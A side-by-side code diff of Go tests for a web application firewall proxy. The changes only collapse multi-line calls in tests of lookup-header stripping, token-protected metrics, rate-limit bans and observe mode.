@@ -352,23 +310,15 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
defer mu.Unlock() defer mu.Unlock()
got = append(got, [2][]string{ got = append(got, [2][]string{
r.Header.Values( r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
"X-Client-Asn",
), r.Header.Values("X-Client-Country"),
}) })
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, lookupTimeout: "1h",
geojsURL, addLookupHeaders: on,
time.Now, })
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: on,
},
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// Each client sends headers of its own. fromDE's first request waits // Each client sends headers of its own. fromDE's first request waits
@@ -390,9 +340,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
} }
} }
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff( func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
@@ -404,22 +352,12 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
mu.Lock() mu.Lock()
defer mu.Unlock() defer mu.Unlock()
asn, country = r.Header.Values( asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
"X-Client-Asn",
), r.Header.Values(
"X-Client-Country",
)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, })
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost,
},
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders, s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
@@ -429,11 +367,8 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
defer mu.Unlock() defer mu.Unlock()
if asn != nil || country != nil { if asn != nil || country != nil {
t.Errorf( t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
"the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", asn, country)
asn,
country,
)
} }
} }
@@ -461,11 +396,7 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
if waited := time.Since(began); waited != timeout { if waited := time.Since(began); waited != timeout {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
"the request waited %s for its answer, want %s",
waited,
timeout,
)
} }
// Without an answer, the client is in no country the list allows. // Without an answer, the client is in no country the list allows.
+19 -75
View File
@@ -32,13 +32,8 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} { for _, authorization := range []string{bearer, "Bearer ", ""} {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, http.MethodGet, waf.MetricsPath, "",
authorization, http.StatusNotFound)
http.MethodGet,
waf.MetricsPath,
"",
http.StatusNotFound,
)
} }
} }
@@ -65,13 +60,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound}, {http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
{http.MethodPost, waf.HealthPath, "", http.StatusNotFound}, {http.MethodPost, waf.HealthPath, "", http.StatusNotFound},
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
tc.authorization,
tc.method,
tc.path,
"",
tc.status,
)
if tc.status == http.StatusUnauthorized && if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" { got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -80,10 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
} }
if tc.status == http.StatusOK && if tc.status == http.StatusOK &&
!strings.Contains( !strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
string(got.body),
"# TYPE sww_requests_total counter",
) {
t.Errorf("the metrics are\n%s", got.body) t.Errorf("the metrics are\n%s", got.body)
} }
} }
@@ -99,10 +85,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token}) map[string]string{metricsToken: token})
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLines(t, 2) out.endedLines(t, 2)
@@ -149,26 +132,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
s.get(client, 0, requestlog.ActionClientIsRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
metrics,
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`,
1,
)
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 1) `kind="requests",window="minute"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
1,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
1,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
@@ -183,18 +152,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
metrics = s.scrape() metrics = s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2) `kind="requests",window="minute"}`, 2)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
2,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
2,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
// denied and client. // denied and client.
@@ -242,14 +201,12 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
allowedCountries: "de,fr", allowedCountries: "de,fr",
} }
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
time.Now, env)
// The answers are kept before the requests, so that none waits for // The answers are kept before the requests, so that none waits for
// GeoJS. // GeoJS.
server.GeoJS.Load([]lookup.Answer{ server.GeoJS.Load([]lookup.Answer{
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
keptAnswer(fromFR, "FR"),
}) })
lines := 0 lines := 0
@@ -257,8 +214,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t.Helper() t.Helper()
for range times { for range times {
body := strings.NewReader("abc") req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set(forwardedFor, from) req.Header.Set(forwardedFor, from)
wantStatus(t, do(t, req), status) wantStatus(t, do(t, req), status)
@@ -315,9 +271,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
`sww_country_request_bytes_total{country="DE",instance="app"}`) `sww_country_request_bytes_total{country="DE",instance="app"}`)
} }
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther( func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
@@ -393,12 +347,7 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
t,
metrics,
`sww_requests_without_geojs_answer_total{instance="app"}`,
1,
)
} }
// keptAnswer returns GeoJS's answer that the client at addr is in // keptAnswer returns GeoJS's answer that the client at addr is in
@@ -432,10 +381,8 @@ func scrape(t *testing.T, addr string) string {
func (s *sender) scrape() string { func (s *sender) scrape() string {
s.t.Helper() s.t.Helper()
return string( return string(s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath,
s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath, "", http.StatusOK).body)
"", http.StatusOK).body,
)
} }
// metric returns the value of series in metrics, which are in the // metric returns the value of series in metrics, which are in the
@@ -447,10 +394,7 @@ func metric(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
for line := range strings.Lines(metrics) { for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix( value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
strings.TrimSuffix(line, "\n"),
series+" ",
)
if !found { if !found {
continue continue
} }
+9 -36
View File
@@ -67,12 +67,7 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
server.Ledger.Load([]bans.Ban{ban}) server.Ledger.Load([]bans.Ban{ban})
if modeValue == observe { if modeValue == observe {
line := s.request( line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
client,
tc.path,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, tc.want) wantWouldAction(t, line, tc.want)
return return
@@ -98,21 +93,12 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
Cause: bans.CauseAttack, Cause: bans.CauseAttack,
}}) }})
line := s.request( line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
client,
"/wp-login.php",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned) wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan { if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
t.Errorf( t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
"alerts waiting are %+v, want one %s",
waiting,
alerts.EventPermanentBan,
)
} }
} }
@@ -177,22 +163,14 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
{fromDE, requestlog.ActionClientIsRateLimited}, {fromDE, requestlog.ActionClientIsRateLimited},
} { } {
if !tc.observe { if !tc.observe {
line := s.get( line := s.get(sent.from, http.StatusForbidden, sent.refusal)
sent.from,
http.StatusForbidden,
sent.refusal,
)
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
continue continue
} }
// Passed to the app, which answered it. // Passed to the app, which answered it.
line := s.get( line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
sent.from,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, sent.refusal) wantWouldAction(t, line, sent.refusal)
} }
}) })
@@ -222,16 +200,11 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and none", line.LimitHit, line.Offence,
"want minute, limit and none", line.BanExpires)
line.LimitHit,
line.Offence,
line.BanExpires,
)
} }
} }
Loaded 100 of 123 files, more files were not shown because too many files have changed in this diff. Show more